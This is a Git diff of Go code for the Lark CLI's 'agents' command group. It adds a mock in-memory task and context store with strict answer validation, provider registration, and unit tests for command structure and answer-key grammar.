+func newGroupSuffix() string {
+	var b [2]byte
+	if _, err := rand.Read(b[:]); err != nil {
+		return time.Now().UTC().Format("0405")
+	}
+	return hex.EncodeToString(b[:])
+}
+
+// createContext creates a new context and returns its id (the first-turn send goes here).
+func (s *memoryStore) createContext(agentID, title string) (string, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	id := newID("ctx")
+	s.NextSeq++
+	s.Contexts[id] = &contextRecord{
+		AgentID:   agentID,
+		ContextID: id,
+		CreatedAt: time.Now().UTC().Format(time.RFC3339),
+		Title:     title,
+		Seq:       s.NextSeq,
+	}
+	return id, s.saveLocked()
+}
+
+// createTask appends a task under ctxID: validate context ownership → compute
+// the round (which task number in this conversation) → call build under the lock
+// to construct the task → insert and write the snapshot. build runs inside the
+// lock to guarantee "compute the round" and "store the task" are atomic, so two
+// concurrent sends never get the same round.
+// An unknown / cross-agents context id returns a typed validation error (teaching
+// point: every error a provider returns must be typed — a bare error would land
+// as internal/exit 5, whereas this is clearly "the caller passed a wrong
+// argument", semantically invalid_argument/exit 2, and the AI relies on this
+// classification to decide between "fix the argument and retry" and "report an
+// environment failure").
+func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agents.AgentTask) (agents.AgentTask, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	ctx, ok := s.Contexts[ctxID]
+	if !ok || ctx.AgentID != agentID {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
+			WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
+	}
+	task := build(len(ctx.TaskIDs) + 1)
+	// Stamp lifecycle timestamps at creation. Example tasks are born terminal, so
+	// created_at == updated_at; a real provider bumps updated_at on every status
+	// change (see setTaskState). RFC3339 UTC strings are fixed-width, so their
+	// lexicographic order equals chronological order (relied on by the rollup).
+	now := time.Now().UTC().Format(time.RFC3339)
+	task.CreatedAt = now
+	task.UpdatedAt = now
+	s.NextSeq++
+	s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
+	ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
+	return task, s.saveLocked()
+}
+
+// getTask fetches a task snapshot by id (returns a copy by value, so the command
+// layer's in-place edits like normalizeTask do not write through to store). A
+// cross-agents task is treated as "not found", without leaking another agent's state.
+func (s *memoryStore) getTask(agentID, taskID string) (agents.AgentTask, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	rec, ok := s.Tasks[taskID]
+	if !ok || rec.AgentID != agentID {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 task id '%s'（example:%s 名下不存在）", taskID, agentID).
+			WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
+	}
+	task := rec.Task
+	// AgentTask is returned by value, but InputRequired is a pointer — clone it
+	// so the command layer's in-place normalization can never write through into
+	// the store (one-process runs must behave like per-process runs).
+	task.InputRequired = cloneGroup(rec.Task.InputRequired)
+	return task, nil
+}
+
+// cloneGroup deep-copies a question group (nil-safe).
+func cloneGroup(ir *agents.InputRequired) *agents.InputRequired {
+	if ir == nil {
+		return nil
+	}
+	out := *ir
+	out.Questions = make([]agents.Question, len(ir.Questions))
+	for i, q := range ir.Questions {
+		out.Questions[i] = q
+		out.Questions[i].Options = append([]agents.Option(nil), q.Options...)
+	}
+	return &out
+}
+
+// setTaskState updates a task's state (used by reporter's cancel).
+func (s *memoryStore) setTaskState(taskID string, state agents.TaskState) error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	rec, ok := s.Tasks[taskID]
+	if !ok {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
+	}
+	rec.Task.State = state
+	rec.Task.IsTerminal = state.IsTerminal()
+	rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339) // status changed ⇒ record when
+	return s.saveLocked()
+}
+
+// answerGroup applies a group answer (§10.1 key encoding) to a task's pending
+// input_required question group. It is the mock's stand-in for a STRICT-posture
+// server (a form backend): every question required, bare values validated
+// against the stored options, single-select cardinality enforced, the skip
+// option exclusive — with every violation collected into ONE ValidationError
+// (params[] entries with the Reason enum + the question declaration as Spec) so
+// the caller fixes everything in a single resend. A tolerant LLM-backed
+// provider may instead consume partial/free answers — validation POLICY is the
+// provider's own; only the error FORMAT here is contractual.
+//
+// Acceptance is atomic under the store lock (validate → record Accepted →
+// leave input_required in one critical section, the reply message inside it) —
+// two racing submissions get exactly one winner; the loser (and any late
+// retry) gets failed_precondition carrying resolved_answers, the
+// machine-readable "already decided, here is what won" signal.
+func (s *memoryStore) answerGroup(agentID, ctxID, taskID string, answers map[string][]string, remark string) (agents.AgentTask, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	rec, ok := s.Tasks[taskID]
+	if !ok || rec.AgentID != agentID {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 task id '%s'（example:%s 名下不存在）", taskID, agentID).
+			WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
+	}
+	// context_id+task_id is the group's unique address (§2.1) — the CLI forces
+	// both flags for that binding, so honoring only half of it here would teach
+	// integrators to silently ignore the other half.
+	if ctxID != "" && ctxID != rec.Task.ContextID {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"context_id '%s' 与任务 '%s' 所属会话不符", ctxID, taskID).
+			WithHint("用 lark-cli agents task get example:%s %s 确认该任务的 context_id", agentID, taskID)
+	}
+	ir := rec.Task.InputRequired
+	if rec.Task.State != agents.StateInputRequired || ir == nil {
+		e := errs.NewValidationError(errs.SubtypeFailedPrecondition,
+			"任务 '%s' 已不在等待输入", taskID).
+			WithHint("用 lark-cli agents task get example:%s %s 查看当前状态与结果", agentID, taskID)
+		if rec.Accepted != nil {
+			// The group was already resolved (another endpoint, or a retry whose
+			// first attempt landed): echo what won, machine-readable.
+			e = e.WithResolvedAnswers(rec.Accepted)
+		}
+		return agents.AgentTask{}, e
+	}
+
+	byID := make(map[string]agents.Question, len(ir.Questions))
+	currentIDs := make([]string, 0, len(ir.Questions))
+	for _, q := range ir.Questions {
+		byID[q.QuestionID] = q
+		currentIDs = append(currentIDs, q.QuestionID)
+	}
+
+	// Deterministic violation order: sorted answer keys, then missing questions
+	// in group order.
+	keys := make([]string, 0, len(answers))
+	for k := range answers {
+		keys = append(keys, k)
+	}
+	sort.Strings(keys)
+
+	var viols []errs.InvalidParam
+	answered := make(map[string]bool, len(answers))
+	for _, key := range keys {
+		values := answers[key]
+		qid, isText := agents.SplitAnswerKey(key)
+		q, known := byID[qid]
+		if !known {
+			// A stale retry (the group changed under the caller) lands exactly
+			// here — Suggestions carries the CURRENT group's keys so the caller
+			// can tell "typo" from "new group" without a discovery round-trip.
+			viols = append(viols, errs.InvalidParam{Name: key, Reason: "unknown_question",
+				Suggestions: currentIDs})
+			continue
+		}
+		answered[qid] = true
+		if isText {
+			// Free text is always consumable here (the strict-but-LLM-ish demo
+			// posture); a pure form backend MAY reject it with reason
+			// invalid_option-style clarity instead — never silently drop it.
+			if len(q.Options) == 0 {
+				if _, both := answers[qid]; both {
+					viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
+				}
+			}
+			continue
+		}
+		if len(q.Options) == 0 {
+			// Text question answered via the bare-value alias: legal, but only one
+			// text per question.
+			if len(values) > 1 {
+				viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
+			}
+			continue
+		}
+		picked := 0
+		for _, v := range values {
+			if _, ok := optionLabel(q.Options, v); !ok {
+				viols = append(viols, errs.InvalidParam{Name: key, Reason: "invalid_option", Spec: q})
+			} else {
+				picked++
+			}
+		}
+		if !q.MultiSelect && len(values) > 1 {
+			viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
+		}
+		if picked > 1 && hasValue(values, "skip") {
+			// planner's own policy: its skip option means "let the agent decide"
+			// and is exclusive with real picks.
+			viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
+		}
+	}
+	// Strict posture: every question of the group is required.
+	for _, q := range ir.Questions {
+		if !answered[q.QuestionID] {
+			viols = append(viols, errs.InvalidParam{Name: q.QuestionID, Reason: "missing", Spec: q})
+		}
+	}
+	if len(viols) > 0 {
+		return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"%d 个答案有问题", len(viols)).
+			WithParams(viols...).
+			WithHint("按 params 里的题目声明修正后整组重发（含未报错的题）")
+	}
+
+	// Atomic acceptance: record + reply + state transition in one critical
+	// section, snapshot write last.
+	rec.Accepted = answers
+	rec.Task.State = agents.StateCompleted
+	rec.Task.IsTerminal = true
+	if remark != "" {
+		// The §4.1 message-level remark (--text alongside --answer) is part of
+		// the user's message — record it, never silently drop it (§6.4).
+		rec.Task.Messages = append(rec.Task.Messages, agents.Message{
+			Role: "user", Parts: []agents.Part{{Type: "text", Text: remark}},
+		})
+	}
+	rec.Task.Messages = append(rec.Task.Messages, agents.Message{
+		Role:  "agent",
+		Parts: []agents.Part{{Type: "text", Text: acceptanceReply(ir, answers)}},
+	})
+	rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339)
+	return rec.Task, s.saveLocked()
+}
+
+// acceptanceReply composes the post-acceptance agent message, resolving option
+// ids back to labels from the stored group — the §6.1 store-and-resolve
+// pattern: the wire carried keys, the business reads values.
+func acceptanceReply(ir *agents.InputRequired, answers map[string][]string) string {
+	var parts []string
+	for _, q := range ir.Questions {
+		var vals []string
+		for _, v := range answers[q.QuestionID] {
+			if label, ok := optionLabel(q.Options, v); ok {
+				vals = append(vals, label)
+			} else {
+				vals = append(vals, v)
+			}
+		}
+		vals = append(vals, answers[q.QuestionID+agents.AnswerTextSuffix]...)
+		if len(vals) > 0 {
+			parts = append(parts, q.Question+"「"+strings.Join(vals, "、")+"」")
+		}
+	}
+	return "已按答复出报表：" + strings.Join(parts, "；")
+}
+
+// hasValue reports whether vals contains v.
+func hasValue(vals []string, v string) bool {
+	for _, x := range vals {
+		if x == v {
+			return true
+		}
+	}
+	return false
+}
+
+// optionLabel returns the label of optionID within opts (ok=false if not found).
+func optionLabel(opts []agents.Option, optionID string) (string, bool) {
+	for _, o := range opts {
+		if o.OptionID == optionID {
+			return o.Label, true
+		}
+	}
+	return "", false
+}
+
+// pageWindow computes the [lo,hi) slice bounds and the resulting PageInfo for an
+// offset-cursor paginated list of `total` items. The token is an opaque offset —
+// strconv.Itoa of the first item's index; an unparseable / negative token is
+// leniently treated as offset 0 (the store is a mock, so it does not reject a bad
+// cursor). Size<=0 returns all remaining items (the CLI always passes ≥1). The
+// NextToken is the offset just past this page (lo+len), set only when more items
+// remain.
+func pageWindow(total int, page agents.PageParams) (lo, hi int, info agents.PageInfo) {
+	if page.Token != "" {
+		if n, err := strconv.Atoi(page.Token); err == nil && n > 0 {
+			lo = n
+		}
+	}
+	if lo > total {
+		lo = total
+	}
+	hi = total
+	if page.Size > 0 && lo+page.Size < total {
+		hi = lo + page.Size
+	}
+	if hi < total {
+		info = agents.PageInfo{NextToken: strconv.Itoa(hi), HasMore: true}
+	}
+	return lo, hi, info
+}
+
+// listTasks lists an agent's task summaries, optionally filtered by contextID
+// (empty string means no filter), MOST-RECENT-FIRST (Seq descending — Seq grows
+// with creation, so descending is newest first; example tasks are terminal at
+// creation so Seq desc equals UpdatedAt desc), then paginated by page. IsTerminal
+// is carried along here for convenience, but the command layer re-derives it from
+// State via normalizeTask* (single source), so the integrator need not worry
+// about this field.
+func (s *memoryStore) listTasks(agentID, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	recs := make([]*taskRecord, 0, len(s.Tasks))
+	for _, rec := range s.Tasks {
+		if rec.AgentID != agentID {
+			continue
+		}
+		if contextID != "" && rec.Task.ContextID != contextID {
+			continue
+		}
+		recs = append(recs, rec)
+	}
+	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
+	lo, hi, info := pageWindow(len(recs), page)
+	out := make([]agents.TaskSummary, 0, hi-lo)
+	for _, rec := range recs[lo:hi] {
+		out = append(out, taskSummaryOf(rec.Task))
+	}
+	return out, info
+}
+
+// listContexts lists an agent's context summaries, MOST-RECENT-FIRST (Seq
+// descending — newest first), then paginated by page.
+func (s *memoryStore) listContexts(agentID string, page agents.PageParams) ([]agents.ContextSummary, agents.PageInfo) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	recs := make([]*contextRecord, 0, len(s.Contexts))
+	for _, ctx := range s.Contexts {
+		if ctx.AgentID == agentID {
+			recs = append(recs, ctx)
+		}
+	}
+	sort.Slice(recs, func(i, j int) bool { return recs[i].Seq > recs[j].Seq })
+	lo, hi, info := pageWindow(len(recs), page)
+	out := make([]agents.ContextSummary, 0, hi-lo)
+	for _, ctx := range recs[lo:hi] {
+		updatedAt, _, awaiting, _ := s.contextRollupLocked(ctx)
+		out = append(out, agents.ContextSummary{
+			ContextID:     ctx.ContextID,
+			CreatedAt:     ctx.CreatedAt,
+			UpdatedAt:     updatedAt,
+			Title:         ctx.Title,
+			AwaitingInput: awaiting,
+		})
+	}
+	return out, info
+}
+
+// getContext returns a context's detail: metadata plus a rollup (updated_at,
+// task_count, awaiting_input) and the single most-actionable ActiveTask (the task
+// with the latest updated_at; nil for an empty context). It deliberately does NOT
+// enumerate every task — the full list is `listTasks(agentID, ctxID)` behind
+// `agents task list --context-id`.
+func (s *memoryStore) getContext(agentID, ctxID string) (*agents.ContextDetail, error) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	ctx, ok := s.Contexts[ctxID]
+	if !ok || ctx.AgentID != agentID {
+		return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
+			WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
+	}
+	updatedAt, taskCount, awaiting, active := s.contextRollupLocked(ctx)
+	detail := &agents.ContextDetail{
+		ContextID: ctx.ContextID,
+		CreatedAt: ctx.CreatedAt,
+		UpdatedAt: updatedAt,
+		Title:     ctx.Title,
+		// The mock can always count its tasks; a real provider whose backend
+		// does not return a total leaves TaskCount nil (unknown ≠ 0).
+		TaskCount:     &taskCount,
+		AwaitingInput: awaiting,
+	}
+	if active != nil {
+		summary := taskSummaryOf(active.Task)
+		detail.ActiveTask = &summary
+	}
+	return detail, nil
+}
+
+// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
+func (s *memoryStore) deleteContext(agentID, ctxID string) error {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	s.loadLocked()
+	ctx, ok := s.Contexts[ctxID]
+	if !ok || ctx.AgentID != agentID {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"未知的 context id '%s'（example:%s 名下不存在）", ctxID, agentID).
+			WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
+	}
+	for _, tid := range ctx.TaskIDs {
+		delete(s.Tasks, tid)
+	}
+	delete(s.Contexts, ctxID)
+	return s.saveLocked()
+}
+
+// ── Derived rollups (the enriched-summary provider side) ──
+
+// summaryMaxRunes is the rune budget for a task Summary — a one-line content
+// digest, not full content. Truncation is rune-safe so a multibyte character is
+// never cut in half.
+const summaryMaxRunes = 100
+
+// contextRollupLocked derives a context's summary fields from its tasks (the
+// caller must already hold the lock). updatedAt is the newest task updated_at,
+// falling back to the context's created_at when it has no tasks; awaitingInput is
+// set when any task sits in input_required/auth_required; active is the task with
+// the latest updated_at (ties broken by creation order so it is deterministic),
+// nil when the context is empty.
+func (s *memoryStore) contextRollupLocked(ctx *contextRecord) (updatedAt string, taskCount int, awaitingInput bool, active *taskRecord) {
+	updatedAt = ctx.CreatedAt
+	for _, tid := range ctx.TaskIDs {
+		rec, ok := s.Tasks[tid]
+		if !ok {
+			continue
+		}
+		taskCount++
+		if rec.Task.UpdatedAt > updatedAt { // fixed-width RFC3339 UTC ⇒ lexicographic == chronological
+			updatedAt = rec.Task.UpdatedAt
+		}
+		if isAwaiting(rec.Task.State) {
+			awaitingInput = true
+		}
+		if active == nil || rec.Task.UpdatedAt > active.Task.UpdatedAt ||
+			(rec.Task.UpdatedAt == active.Task.UpdatedAt && rec.Seq > active.Seq) {
+			active = rec
+		}
+	}
+	return updatedAt, taskCount, awaitingInput, active
+}
+
+// isAwaiting reports whether a state is paused waiting on the caller (the
+// awaiting_input rollup bit).
+func isAwaiting(state agents.TaskState) bool {
+	return state == agents.StateInputRequired || state == agents.StateAuthRequired
+}
+
+// taskSummaryOf projects a stored task into its list/active summary, carrying the
+// timestamp and the one-line content digest alongside the identity fields.
+func taskSummaryOf(task agents.AgentTask) agents.TaskSummary {
+	return agents.TaskSummary{
+		TaskID:     task.TaskID,
+		ContextID:  task.ContextID,
+		State:      task.State,
+		IsTerminal: task.IsTerminal,
+		UpdatedAt:  task.UpdatedAt,
+		Summary:    taskSummaryText(task),
+	}
+}
+
+// taskSummaryText is the one-line content digest: the pending group's triage
+// digest (§3.3: label else first question, question count suffixed) for a task
+// awaiting input, otherwise the last agent message's text. It returns RAW text
+// (only rune-truncated) — ANSI-stripping + flattening for pretty/TSV is the
+// command layer's job, and it is empty when nothing is available.
+func taskSummaryText(task agents.AgentTask) string {
+	if task.State == agents.StateInputRequired && task.InputRequired != nil {
+		if s := task.InputRequired.SummaryText(); s != "" {
+			return truncateRunes(s, summaryMaxRunes)
+		}
+	}
+	for i := len(task.Messages) - 1; i >= 0; i-- {
+		if task.Messages[i].Role != "agent" {
+			continue
+		}
+		for _, p := range task.Messages[i].Parts {
+			if p.Type == "text" && p.Text != "" {
+				return truncateRunes(p.Text, summaryMaxRunes)
+			}
+		}
+	}
+	return ""
+}
+
+// truncateRunes cuts s to at most max runes (rune-safe, no character split). It
+// does not append an ellipsis: the Summary is meant to be raw text.
+func truncateRunes(s string, max int) string {
+	r := []rune(s)
+	if len(r) <= max {
+		return s
+	}
+	return string(r[:max])
+}

agents/register.go

@@ -0,0 +1,26 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package agents is the top-level business layer that wires the in-repo agent
+// providers into the framework registry (internal/agents). It mirrors the events
+// layering: the framework/SPI lives in internal/agents, each concrete provider is
+// a declarative agents.Provider value exposed by a package under agents/<scheme>/,
+// and this package's init aggregates and registers them. Blank-import this
+// package from cmd to populate the provider registry.
+//
+// To onboard a new provider: add agents/<scheme>/ exposing a Provider() value,
+// then add one line to the slice below.
+package agents
+
+import (
+	"github.com/larksuite/cli/agents/example"
+	iagents "github.com/larksuite/cli/internal/agents"
+)
+
+func init() {
+	for _, p := range []iagents.Provider{
+		example.Provider(),
+	} {
+		iagents.Register(p)
+	}
+}

cmd/agents/agent_test.go

@@ -0,0 +1,34 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import "testing"
+
+// TestAgentCommandTree pins the shape of the `agent` command tree: the group
+// itself must have no RunE/Run (a bare group whose unknown subcommands surface
+// an error rather than being silently swallowed), and it must expose all five
+// verbs plus the nested task/context sub-groups.
+func TestAgentCommandTree(t *testing.T) {
+	cmd := NewCmdAgents(nil)
+	if cmd.RunE != nil || cmd.Run != nil {
+		t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
+	}
+	want := []string{"list", "card", "send", "task", "context"}
+	for _, name := range want {
+		if findSub(cmd, name) == nil {
+			t.Errorf("missing subcommand %s", name)
+		}
+	}
+	// task/context are nested groups
+	if task := findSub(cmd, "task"); task == nil {
+		t.Error("missing agents task group")
+	} else if findSub(task, "get") == nil {
+		t.Error("missing agents task get")
+	}
+	if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
+		t.Error("missing agents context group")
+	} else if findSub(ctxCmd, "delete") == nil {
+		t.Error("missing agents context delete")
+	}
+}

cmd/agents/agents.go

@@ -0,0 +1,29 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/internal/cmdutil"
+)
+
+// NewCmdAgents builds the `agent` command group: a provider-agnostic surface
+// that drives remote A2A agents with constant verbs. It is a pure group with
+// no RunE, so an unknown subcommand is reported rather than silently
+// swallowed. All five verbs (list/card/send/task/context) are wired here; task
+// and context are themselves nested groups.
+func NewCmdAgents(f *cmdutil.Factory) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "agents",
+		Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
+		Long:  "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agents card <agent_ref>` first, then pick verbs by capability.",
+	}
+	cmd.AddCommand(NewCmdAgentList(f))
+	cmd.AddCommand(NewCmdAgentCard(f))
+	cmd.AddCommand(NewCmdAgentSend(f, nil))
+	cmd.AddCommand(NewCmdAgentTask(f))
+	cmd.AddCommand(NewCmdAgentContext(f))
+	return cmd
+}

cmd/agents/answer_review_test.go

@@ -0,0 +1,169 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Tests added from the Phase-6 adversarial review of the input_required answer
+// scheme: each pins a contract row that was implemented but previously
+// deletable without a test failing.
+package agents
+
+import (
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+)
+
+// TestSendAnswerUnsupportedGated pins the §5 capability row: --answer against
+// an agent whose card declares input_required=false (example:echo) is gated
+// offline with unsupported_capability — no provider hook fires, no network.
+func TestSendAnswerUnsupportedGated(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo",
+		ContextID: "c1", TaskID: "t1", Answers: []string{"q1=x"},
+		As: "bot", Format: "json",
+	})
+	assertUnsupportedCapability(t, err, "example:echo")
+	if p, _ := errs.ProblemOf(err); !strings.Contains(p.Message, "input_required") {
+		t.Errorf("gate error should name the input_required capability, got %q", p.Message)
+	}
+}
+
+// TestSendAnswerWithRemark pins the §5 row "--answer 与 --text 并存 = 合法":
+// the remark rides SendInput.Text alongside the parsed answers.
+func TestSendAnswerWithRemark(t *testing.T) {
+	opts := sendTestOpts(t)
+	opts.ContextID, opts.TaskID = "sess_1", "task_1"
+	opts.Answers = []string{"q1_a8=by_region"}
+	opts.Text = "补充：优先东区"
+	var got iagents.SendInput
+	setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
+		got = in
+		return &iagents.AgentTask{TaskID: "task_1", State: iagents.StateCompleted}, nil
+	}})
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("--answer with a --text remark must be legal: %v", err)
+	}
+	if got.Text != "补充：优先东区" || len(got.Answers) != 1 {
+		t.Errorf("remark and answers must both reach the hook, got text=%q answers=%v", got.Text, got.Answers)
+	}
+}
+
+// TestSendAnswerGrammarEdges extends the offline key-grammar pin to the §4.1
+// edge shapes: case-sensitive suffix, bare ".text", double suffix — plus the
+// hint naming both legal forms.
+func TestSendAnswerGrammarEdges(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", TaskID: "t",
+		Answers: []string{"q1.TEXT=x", ".text=x", "q.text.text=x"}})
+	if err == nil {
+		t.Fatal("edge-shape keys should be rejected offline")
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) {
+		t.Fatal(err)
+	}
+	for _, frag := range []string{"q1.TEXT", ".text", "q.text.text"} {
+		if !strings.Contains(verr.Problem.Message, frag) {
+			t.Errorf("collect-all should name %q, got %q", frag, verr.Problem.Message)
+		}
+	}
+	if h := verr.Problem.Hint; !strings.Contains(h, "<question_id>=<option_id>") || !strings.Contains(h, "<question_id>.text=") {
+		t.Errorf("hint must name both legal key forms, got %q", h)
+	}
+}
+
+// TestSendAnswerGuardPrecedence pins mode-first ordering: with BOTH missing
+// ids AND a grammar-violating entry, the ids guard answers (the caller learns
+// which mode it got wrong before which field), and Answers+ContextID-only
+// still reports the --answer guard.
+func TestSendAnswerGuardPrecedence(t *testing.T) {
+	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1.txt=x"}})
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--answer" || !strings.Contains(verr.Problem.Message, "--context-id") {
+		t.Errorf("ids guard must answer before key grammar, got %+v", verr)
+	}
+	err = agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "c", Answers: []string{"q1=x"}})
+	if !errors.As(err, &verr) || verr.Param != "--answer" {
+		t.Errorf("answers with context but no task must hit the --answer guard, got %+v", verr)
+	}
+}
+
+// TestSendDryRunAnswers pins the '预演即所得' §10.1 preview: would_send.answers
+// is the PARSED map (deduped, argv order), no hook fires, and dry-run answers
+// work even against an input_required=false agent (dry-run precedes the gate).
+func TestSendDryRunAnswers(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	opts := &sendOptions{
+		Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", DryRun: true,
+		ContextID: "c1", TaskID: "t1",
+		Answers: []string{"q3_a8=east", "q3_a8=north", "q3_a8=east", "q2_a8.text=2024 全年"},
+		As:      "bot", Format: "json",
+	}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentSendRun(opts); err != nil {
+		t.Fatalf("dry-run with answers must succeed even at an input_required=false agent: %v", err)
+	}
+	var env struct {
+		Data struct {
+			WouldSend struct {
+				Answers map[string][]string `json:"answers"`
+			} `json:"would_send"`
+		} `json:"data"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v", err)
+	}
+	if v := env.Data.WouldSend.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
+		t.Errorf("would_send.answers must be the parsed deduped map, got %v", env.Data.WouldSend.Answers)
+	}
+	if v := env.Data.WouldSend.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
+		t.Errorf(".text key must ride would_send verbatim, got %v", env.Data.WouldSend.Answers)
+	}
+}
+
+// TestTaskGetDegradedGroupNotice pins the §3.2 defect-observability channel: a
+// provider group with a flag-lookalike question_id degrades to one free-text
+// question AND the JSON envelope carries the provider_defect notice (the
+// machine surface — not just stderr).
+func TestTaskGetDegradedGroupNotice(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	registerScripted()
+	setScripted(t, scriptedHooks{getTask: func(taskID string) (*iagents.AgentTask, error) {
+		return &iagents.AgentTask{TaskID: taskID, ContextID: "ctx_1", State: iagents.StateInputRequired,
+			UpdatedAt: "2026-07-21T00:00:00Z",
+			InputRequired: &iagents.InputRequired{Questions: []iagents.Question{
+				{QuestionID: "--text", Question: "维度?"},
+			}}}, nil
+	}})
+	opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeflow:agt_x", TaskID: "t1", As: "bot", Format: "json"}
+	out := f.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentTaskGetRun(opts); err != nil {
+		t.Fatalf("task get with a degradable group should succeed: %v", err)
+	}
+	var env struct {
+		Data struct {
+			InputRequired struct {
+				Questions []struct {
+					QuestionID string `json:"question_id"`
+				} `json:"questions"`
+			} `json:"input_required"`
+		} `json:"data"`
+		Notice map[string]any `json:"_notice"`
+	}
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("invalid envelope: %v\n%s", err, out.Bytes())
+	}
+	qs := env.Data.InputRequired.Questions
+	if len(qs) != 1 || !iagents.KeyPattern.MatchString(qs[0].QuestionID) {
+		t.Fatalf("degraded group must be one legal-key free-text question, got %+v", qs)
+	}
+	defect, _ := env.Notice["provider_defect"].(string)
+	if !strings.Contains(defect, "不合规") {
+		t.Errorf("JSON envelope _notice must carry the provider defect, got %v", env.Notice)
+	}
+}

cmd/agents/brand_test.go

@@ -0,0 +1,239 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"context"
+	"encoding/json"
+	"strings"
+	"sync"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// brandFactory builds a test Factory whose resolved Config.Brand is the given
+// brand, so the command-layer brand gates exercise both feishu and lark.
+func brandFactory(t *testing.T, brand core.LarkBrand) *cmdutil.Factory {
+	t.Helper()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: brand}
+	f, _, _, _ := cmdutil.TestFactory(t, cfg)
+	return f
+}
+
